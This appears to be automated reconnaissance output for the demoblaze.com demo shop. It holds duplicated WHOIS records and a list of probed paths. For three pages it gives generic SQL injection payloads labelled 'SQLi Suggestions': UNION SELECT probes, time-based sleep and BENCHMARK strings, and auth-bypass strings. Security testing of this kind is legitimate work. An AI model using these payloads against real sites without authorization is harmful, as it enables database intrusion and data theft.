Cheatsheet for https://www.demoblaze.com/

OSINT Information

Domain Name: DEMOBLAZE.COM

Registry Domain ID: 2155822543_DOMAIN_COM-VRSN

Registrar WHOIS Server: whois.registrar.amazon.com

Registrar URL: http://registrar.amazon.com

Updated Date: 2021-07-18T23:59:31Z

Creation Date: 2017-08-22T17:39:07Z

Registry Expiry Date: 2022-08-22T17:39:07Z

Registrar: Amazon Registrar, Inc.

Registrar IANA ID: 468

Registrar Abuse Contact Email: abuse@amazonaws.com

Registrar Abuse Contact Phone: +1.2067406200

Domain Status: ok https://icann.org/epp#ok

Name Server: NS-CLOUD-D1.GOOGLEDOMAINS.COM

Name Server: NS-CLOUD-D2.GOOGLEDOMAINS.COM

Name Server: NS-CLOUD-D3.GOOGLEDOMAINS.COM

Name Server: NS-CLOUD-D4.GOOGLEDOMAINS.COM

DNSSEC: unsigned

URL of the ICANN Whois Inaccuracy Complaint Form:

https://www.icann.org/wicf/

>>> Last update of whois database: 2021-08-30T20:36:12Z <<<

For more information on Whois status codes, please visit

https://icann.org/epp

NOTICE: The expiration date displayed in this record is the date the registrar's sponsorship of the domain name registration in the registry is currently set to expire. This date does not necessarily reflect the expiration date of the domain name registrant's agreement with the sponsoring registrar. Users may consult the sponsoring registrar's Whois database to view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois database through the use of electronic processes that are high-volume and automated except as reasonably necessary to register domain names or modify existing registrations; the Data in VeriSign Global Registry Services' ("VeriSign") Whois database is provided by VeriSign for information purposes only, and to assist persons in obtaining information about or related to a domain name registration record. VeriSign does not guarantee its accuracy. By submitting a Whois query, you agree to abide by the following terms of use: You agree that you may use this Data only for lawful purposes and that under no circumstances will you use this Data to: (1) allow, enable, or otherwise support the transmission of mass unsolicited, commercial advertising or solicitations via e-mail, telephone, or facsimile; or (2) enable high volume, automated, electronic processes that apply to VeriSign (or its computer systems). The compilation, repackaging, dissemination or other use of this Data is expressly prohibited without the prior written consent of VeriSign. You agree not to use electronic processes that are automated and high-volume to access or query the Whois database except as reasonably necessary to register domain names or modify existing registrations. VeriSign reserves the right

to restrict your access to the Whois database in its sole discretion to ensure
operational stability. VeriSign may restrict or terminate your access to the Whois database for failure to abide by these terms of use. VeriSign reserves the right to modify these terms at any time.

The Registry database contains ONLY .COM, .NET, .EDU domains and Registrars.
Domain Name: demoblaze.com
Registry Domain ID: 2155822543_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.registrar.amazon.com
Registrar URL: https://registrar.amazon.com
Updated Date: 2021-07-18T23:59:32.001Z
Creation Date: 2017-08-22T17:39:07Z
Registrar Registration Expiration Date: 2022-08-22T17:39:07Z
Registrar: Amazon Registrar, Inc.
Registrar IANA ID: 468
Registrar Abuse Contact Email: abuse@amazonaws.com
Registrar Abuse Contact Phone: +1.2067406200
Reseller:
Domain Status: renewPeriod https://icann.org/epp#renewPeriod
Domain Status: ok https://icann.org/epp#ok
Registry Registrant ID:
Registrant Name: On behalf of demoblaze.com owner
Registrant Organization: Whois Privacy Service
Registrant Street: P.O. Box 81226

Registrant City: Seattle

Registrant State/Province: WA

Registrant Postal Code: 98108-1226

Registrant Country: US

Registrant Phone: +1.2065771368

Registrant Phone Ext:

Registrant Fax:

Registrant Fax Ext:

Registrant Email:

owner-4610430@demoblaze.com.whoisprivacyservice.org

Registry Admin ID:

Admin Name: On behalf of demoblaze.com administrative contact

Admin Organization: Whois Privacy Service

Admin Street: P.O. Box 81226

Admin City: Seattle

Admin State/Province: WA

Admin Postal Code: 98108-1226

Admin Country: US

Admin Phone: +1.2065771368

Admin Phone Ext:

Admin Fax:

Admin Fax Ext:

Admin Email: admin-4610430@demoblaze.com.whoisprivacyservice.org

Registry Tech ID:

Tech Name: On behalf of demoblaze.com technical contact

Tech Organization: Whois Privacy Service

Tech Street: P.O. Box 81226
Tech City: Seattle
Tech State/Province: WA
Tech Postal Code: 98108-1226
Tech Country: US
Tech Phone: +1.2065771368
Tech Phone Ext:
Tech Fax:
Tech Fax Ext:
Tech Email: tech-4610430@demoblaze.com.whoisprivacyservice.org
Name Server: ns-cloud-d1.googledomains.com
Name Server: ns-cloud-d2.googledomains.com
Name Server: ns-cloud-d3.googledomains.com
Name Server: ns-cloud-d4.googledomains.com
DNSSEC: unsigned
URL of the ICANN WHOIS Data Problem Reporting System:
http://wdprs.internic.net/
>>> Last update of WHOIS database: 2021-07-18T23:59:32.163Z <<<

For more information on Whois status codes, please visit
https://www.icann.org/resources/pages/epp

By submitting a query to the Amazon Registrar, Inc. WHOIS database, you agree to abide by the following terms. The data in Amazon Registrar, Inc.'s WHOIS database is provided by Amazon Registrar, Inc. for the sole purpose of assisting you in obtaining information about domain name

accuracy. You agree to use this data only for lawful purposes and further agree not to use this data for any unlawful purpose or to: (1) enable, allow, or otherwise support the transmission by email, telephone, or facsimile of commercial advertising or unsolicited bulk email, or (2) enable high volume, automated, electronic processes to collect or compile this data for any purpose, including mining this data for your own personal or commercial purposes. Amazon Registrar, Inc. reserves the right to restrict or terminate your access to the data if you fail to abide by these terms of use. Amazon Registrar, Inc. reserves the right to modify these terms at any time.

Visit Amazon Registrar, Inc. at https://registrar.amazon.com
Contact information available here:
https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/domain-contact-support.html

****AI Powered Summary****
''
****Found Social Media Links****
No Social Media info available
****Found Emails****
demo@blazemeter.com -> Source: https://www.demoblaze.com/
****Suspected file types****
'.php', '.html', '.aspx', '.js', '.jsp'

****Found Paths****		
Method: GET, Total #: 12		
1		https://www.demoblaze.com/index.html -> 200 -> SQLi Suggestions:
✔	×	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2#
✔	×	AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)+CHAR(69)+CHAR(65)+CHAR(113)))
✔	×	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18
✔	×	") or sleep(5)="
✔	×	AND 7300=7300 AND ('pKlZ'='pKlY
2		https://www.demoblaze.com/cart.html -> 200 -> SQLi Suggestions:
✔	×	UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
✔	×	UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9,10,11,12,13,14,15--
✔	×	OR x=y--
✔	×	SLEEP(5)="
✔	×	" or ""^"
3		https://www.demoblaze.com/prod.html -> 200 -> SQLi Suggestions:
✔	×	AS INJECTX WHERE 1=1 AND 1=1#
✔	×	" or ""^"
✔	×	admin') or '1'='1
✔	×	UNION ALL SELECT 1,2
✔	×	ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
4		https://www.demoblaze.com/eventlog -> 403
5		https://www.demoblaze.com/eventlog/ -> 403

6	https://www.demoblaze.com/%C0.jsp -> 502
7	https://www.demoblaze.com/%C0.html -> 502
8	https://www.demoblaze.com/%C0.js -> 502
9	https://www.demoblaze.com/%C0/ -> 502
10	https://www.demoblaze.com/%C0.aspx -> 502
11	https://www.demoblaze.com/%C0 -> 502
12	https://www.demoblaze.com/%C0.php -> 502